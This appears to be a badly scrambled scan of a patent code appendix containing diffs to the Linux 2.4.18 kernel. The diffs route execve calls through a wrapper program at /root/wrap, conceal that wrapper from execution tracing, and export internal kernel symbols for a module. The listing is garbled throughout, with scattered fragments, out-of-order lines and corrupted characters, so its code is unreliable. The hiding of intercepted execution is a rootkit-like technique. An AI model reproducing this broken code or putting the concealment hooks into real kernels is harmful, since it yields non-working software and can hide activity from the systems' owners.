                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if (DEBUG_MEM)
                                                                                                                                                                                                                                                                                                                                                                                               retval_elf = rec_elf_binary(&bprm, regs);
                                                                                                                if ((retval_misc < 0) &&
    retval = retval_misc;</pre>
                                                                                                                                                                                                                               if ((retval_elf < 0) &&
                                                                                                                                                                                                                                                                                                                        if ((retval\_aout < 0) &&
                                                                                                                                                                                                                                                                                                                                                  retval_script = rec_script_binary(&bprm, regs);
                                                                                                                                                                                                                                                                                                                                                                        retval_misc = rec_misc_binary(&bprm,
                                                                                                                                                                                                                                                                                                                                                                                                                     retval_aout = rec_aout_binary(&bprm, regs);
                                                                                                                                                                                                                                                                                                                                                                                                                                           // Don't run wrapper if we don't recognize the executable
                                             ((retval_script < 0) &&
                                                                                         goto, out;
                                                                                                                                                                                  goto out;
                                                                                                                                                                                                      retval = retval_elf;
                                                                                                                                                                                                                                                                               goto out;
                     retval = retval_script;
                                                                                                                                                                                                                                                                                                    retval = retval_aout;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           copy_strings(bprm.argc,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               wrapper, add filename
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    printk("kfree'ed from do_execve(%s)\n",
                                                                                                                                                                                                                                 (retval_elf !=
                                                                                                                                                                                                                                                                                                                        (retval_aout != -ENOEXEC)) (
                                                                                                                                      (retval_misc !=
                                             (retval_script !=
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     && (current->flags & EXEC_CKD)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         argv, &bprm);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  of user's original call to
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   newArgv,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  *
*
                                                                                                                                                                                                                                 -ENOEXEC)) {
                                                                                                                                        -ENOEXEC)) (
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (bprm.argc + 2),
                                           -ENOEXEC)) (
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   ¿bprm);
                                                                                                                                                                                                                                                                                                                                                                                                                                               format
```

```
ζ,
      executable */
                         < #define WRAP_PATH "/root/wrap"</pre>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            filename);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 recognized (%s)\n",
                                                                                                           1295,1297d92:
                                                                                                                                                                                                                                                                                              > return retval;
1282,1288c913,915
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 > goto out;
1274,1275c907
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     WRAP_FLAG) ) {
                                                                                                                                                                                                                                                                                                                                                                                                   L277,1278c909
                                                              diff sched.h /u/usr/src/linux-2.4.18/include/linux/sched
                                                                                     current->flags &= ~EXEC_CKD;
                                                                                                                                                                                                                                                                                                                                                                                                                                                               if (retval >= 0)
                                                                                                                                                                                                                                                                                                                                                                                                                  if (retval >=
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     if ( (!
                                                                                                                                                                     allow_write_access(bprm.file);
                                                                                                                                                                                                                                                                        if (file)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         if (retval <
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         retval = copy_strings(bprm.argc, argv, &bprm);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              else {
                                                                                                                                                  if (bprm.file)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     // DTK: No exec errors.. Now we can call the wrapper
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      current->flags &=
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                return do_execve(filename, argv, envp, regs);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           current->flags |=
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    struct page
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               if (page)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    for (i = 0 ; i < MAX_ARG_PAGES ; i++) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         if (file)
                                                                                                                                                                                                                                                      allow_write_access(file);
                                                                                                                                                                                                                                                                                                                                                                               return retval;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         if ((retval_aout < 0) && (retval_elf <
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    allow_write_access(file);
                                                                                                                                                                                                                                 fput (file);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   fput(file);
                                                                                                                             fput(bprm.file);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        free_page(page);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      (retval_script < 0)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    current->flags |= EXEC_CKD
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              if (DEBUGGING) printk(KERN_CRIT "Executable type not
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     (current->flags & EXEC_CKD)) && (current->flags
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              9
                                                                                                                                                                                                                                                                                                                                                                                                                       9
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    page =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         ~EXEC_CKD
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             EXEC_CKD;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  bprm.page[i];
                    /* location of the execve wrapper
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            9
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            ኢ
ኢ
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           (retval_misc <
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            9
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           < #define WRAP_THRESH 20
threshold */</pre>
                                                                                                                                                                                     824,833d790
                                                                                                                                                                                                                                                                                                                                 817,821c787,788
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     774d773
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               < #define PT_HIDETRACE</pre>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         errors
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               795,815d785
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  777,784d775
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                # diff process.c /u/usr/src/linux-2.4.18/arch/i386/kernel/process.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            < #define
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    439,443d432
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    453,456d441
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               < #define WRAP_FLAG</pre>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   * If the WRAP_FLAG is on, this
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        else if ((current->flags) & WRAP_FLAG) {
                                                                                                                                                                                                                          if (error ==
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 else (
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if (current->pid < WRAP_THRESH) (</pre>
                                                                                                                                                                                                                                                                                                             if (error == 0) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            /*** DTK-- ***/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       If the WRAP_FLAG is off,
                                                                                                                                                                                                                                                                                                                                                                                               current->ptrace
                                                                                                                                                                                                                                                                                                                                                                                                                                                       current->flags |= WRAP_FLAG;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         current->ptrace &= ~PT_HIDETRACE;
                                                              current->ptrace
                                                                                current->ptrace
                                                                                                     if (current->ptrace & PT_HIDETRACE)
                                                                                                                        current->flags &= ~WRAP_FLAG;
                                                                                                                                                                                                                                                                                         current->ptrace
                                                                                                                                                                                                                                                                                                                                                                                                                    current->ptrace
                                                                                                                                                                                                                                                                                                                                                                                                                                     if (current->ptrace & PT_PTRACED)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                current->ptrace
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      current->flags
                                                                                                                                               //printk(KERN_CRIT
                                                                                                                                                                    (error != 0) {
                                                                                                                                                                                                         current->ptrace
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Turn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Do nothing--
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Turn off the wrap flag
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 (current->ptrace & PT_HIDETRACE)
--DTK ***/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          EXEC_CKD
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      on the wrap
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           execution tracing
                                                                                                                                                                                                                              9
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 the execution trace for this call
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        &= ~WRAP_FLAG;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              0x04000000
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            0x08000000
                                                                וו
וו
                                                                                                                                                                                                                                                                                           ۱۱
ک
                                                                                                                                                                                                                                                                                                                                                                                               ll
Sv
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                don't run wrapper on boot-up
                                                                                                                                                                                                                                                                                                                                                                                                                    = PT_HIDETRACE;
                                                                                                                                                                                                            ۲
اا
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             0x0000020
                                                                                  PT_PTRACED;
                                                                                                                                                                                                                                                                                                                                                                                               ~PT_PTRACED
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PT_PTRACED;
                                                                                                                                            "ERROR: %d
                                                              ~PT_HIDETRACE;
                                                                                                                                                                                                                                                                                         ~PT_DTRACE;
                                                                                                                                                                                                      ~PT_DTRACE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         /* don't run wrapper on PIDs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       this is the user's execve
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            back on
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          /* Process has been
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              /* Process has been wrapped */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    is the wrapper's execve call
                                                                                                                                             (%s)\n", error,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             /* conceal wrapper from execution
                                                                                                                                            filename);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            checked
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             less than this
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       call
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            for
```

```
Program Code Listing Appendix (Paper Duplicate of Compact Disc File Cohen_et_al.txt)
                                                                                                                                                                                                                                                                                  < rwlock_t dn_lock = RW_LOCK_UNLOCKED
                                                                                                                                                                                                                                                                                                                                  #'diff dnotify.c /u/usr/src/linux-2.4.18/fs/dnotify.c
                                                                                                                                                                                                                                                                                                                                                          > static spinlock_t uidhash_lock = SPIN_LOCK_UNLOCKED;
                                                                                                                                                                                                                                                                                                                                                                             > static struct user_struct *uidhash_table[UIDHASH_SZ];
                                                                                                                                                                                                                                                                                                                                                                                                                                                   < spinlock_t uidhash_lock = SPIN_LOCK_UNLOCKED;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                           < struct user_struct *uidhash_table(UIDHASH_SZ);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   < kmem_cache_t *uid_cachep;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           25,27c25,27
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            75,103d74
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  # diff ksyms.c /u/usr/src/linux-2.4.18/kernel/ksyms.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              call*/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        399c399
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       836d792
                                                                                                                                                                                                                                                            < kmem_cache_t *dn_cache;
                                                                                                                                                                                                                                                                                                                                                                                                        > static kmem_cache_t *uid_cachep;
                                                #include
                                                                      #include
                                                                                              #include
                                                                                                                                         #include nux/config.h>
                         #include
                                                                                                                    #include
                                                                                                                                                                   module.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                diff user.c /u/usr/src/linux-2.4.18/kernel/user.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  EXPORT_SYMBOL (module_list);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  EXPORT_SYMBOL (sock_map_fd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              EXPORT_SYMBOL (do_truncate);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      EXPORT_SYMBOL (dn_cache);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             EXPORT_SYMBOL(dn_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     EXPORT_SYMBOL (uidhash_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 EXPORT_SYMBOL(uid_cachep); //for setuid sys_calls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              extern struct module * module_list;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      extern
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            extern
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  extern kmem_cache_t *dn_cache;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          extern
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 extern struct user_struct *uidhash_table(UIDHASH_SZ);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     extern kmem_cache_t *uid_cachep;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               #define UIDHASH_SZ
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               diff entry.S /u/usr/src/linux-2.4.18/arch/i386/kernel/entry.S
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     EXPORT_SYMBOL(uidhash_table);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       #define UIDHASH_BITS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        //needed for the EXPORT_SYMBOL declarations
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        //-----dcvn-----
                                                                                                                                                                                         static
                                                                                                                                                                                                               static
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               /* extra symbols needed for kernel module */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          /* original code from here on */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            .long SYMBOL_NAME(sys_ni_syscall)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               .long SYMBOL_NAME(sys_ad) /* 0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    int sock_map_fd(struct socket * sock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         spinlock_t uidhash_lock;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rwlock_t dn_lock;
                         linux/vmalloc.h>
                                                                                            linux/module.h>
                                                                                                                    1 nux/mm.h>
                                                                                                                                                                                     kmem_cache_t *dn_cache;
                                                                                                                                                                                                               rwlock_t dn_lock = RW_LOCK_UNLOCKED;
                                              <asm/uaccess.h>
                                                                        <asm/module.h>
linux/smp_lock.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       -dcvn-----
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             (1 << UIDHASH_BITS)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              //for write() sys_call
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  \
0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               old "setup()" system call*/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  old "setup()" system
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             struct module kernel_module =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        extern const struct exception_table_entry __start_
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            #if defined(CONFIG_MODULES) | defined(CONFIG_KALLSYMS)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   static
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     extern const char __stop_
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           extern const char __start_
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  extern const struct exception_table_entry __stop___ex_table();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          extern struct module_symbol
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       #include <linux/slab.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       #include <asm/pgalloc.h>
                                                                                                                                                                 void inter_module_register(const char *im_name, struct module *owner,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           static int kmalloc_failed;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          static struct list_head ime_list = LIST_HEAD_INIT(ime_list);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             struct module *module_list = &kernel_module;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        #include <linux/seq_file.h>
                                                                                                                                            const void
                                                                                                                                                                                                                                       registered,
                                                                                                                                                                                                                                                                                                                                                                                  spinlock_t modlist_lock = SPIN_LOCK_UNLOCKED;
                                                                                                                    *userdata)
                                                                                                                                                                                                                                                                                                                                                          /* inter_module_register - register a new set of inter module data.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   /st This lock prevents modifications that might race the kernel fault
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              /* inter_module functions are always available, even when the kernel
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  * approach removes lots of #ifdefs in mainline code.
                                                                                                                                                                                           * list.*/
                                                                                                                                                                                                               * complain
                                                                                                                                                                                                                                                                                                                                                                                                        * irqsave at all times. */
                                                                                                                                                                                                                                                            Description: Check that the im_name has not already been
                                                                                                                                                                                                                                                                                                          @owner: module that is registering the data, always use THIS_MODULE
                                                                                                                                                                                                                                                                                                                                    @im_name: an arbitrary string to identify the data, must be unique
                                                                                                                                                                                                                                                                                                                                                                                                                             Since vmalloc fault fixups occur in any context this lock is taken
                                                                                                                                                                                                                                                                                                                                                                                                                                                                         fixups. It, does not prevent reader walks that the modules
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        will always work, even when both are built into the kernel, this
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              compiled without modules. Consumers of inter_module_xxx routines
                                                                                                                                                                                                                                                                                     @userdata: pointer to arbitrary userdata to be registered
                                                                                                                                                                                                                                                                                                                                                                                                                                                     does. The kernel lock does that.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            name:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      syms:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ic:
                                                                      struct list_head *tmp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            kallsyms_start:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        ex_table_end:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              ex_table_start:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            flags:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 size_of_struct:
                        if (!(ime_new = kmalloc(sizeof(*ime), GFP_KERNEL))) {
                                              struct inter_module_entry *ime,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       callsyms_end:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              struct module_symbol __stop_
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  spinlock_t ime_lock = SPIN_LOCK_UNLOCKED;
   /* Overloaded kernel, not fatal */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  linux/kmod.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               nux/init.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 /* defined(CONFIG_MODULES) || defined(CONFIG_KALLSYMS) */
                                                                                                                                                                                                               if it has.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  {ATOMIC_INIT(1)},
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    _start_
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              MOD_RUNNING,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         _stop__kallsyms,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      _stop___ex_table,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      __ksymtab,
                                                                                                                                                                                                               For new data,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              __start___kallsyms,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 sizeof(struct module),
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              _start_
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       _kallsyms[] __attribute__
